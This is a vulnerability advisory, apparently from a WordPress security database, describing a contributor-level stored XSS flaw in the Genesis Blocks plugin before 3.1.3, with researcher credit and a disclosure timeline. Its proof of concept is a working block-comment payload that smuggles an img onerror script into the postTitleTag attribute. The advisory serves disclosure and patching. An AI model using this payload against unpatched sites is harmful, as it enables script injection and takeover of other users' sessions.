WordPress Plugin Vulnerabilities

Genesis Blocks < 3.1.3 - Contributor+ Stored XSS

Description

The plugin does not properly escape data input provided to some of its blocks, allowing using with at least contributor privileges to conduct Stored XSS attacks.

Proof of Concept

As a contributor, put the below code in a post while in Code Editor mode

<!-- wp:genesis-blocks/gb-post-grid {"postTitleTag":"img src=x onerror=alert(/XSS-postTitleTag/) style=width:150px;","readMoreText":"Continue Reading"} /-->

The XSS will be triggered when viewing/previewing the post

Affects Plugins

Fixed in 3.1.3

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes

Timeline

Publicly Published
2024-03-29 (about 1 months ago)
Added
2024-03-29 (about 1 months ago)
Last Updated
2024-04-04 (about 1 months ago)

Other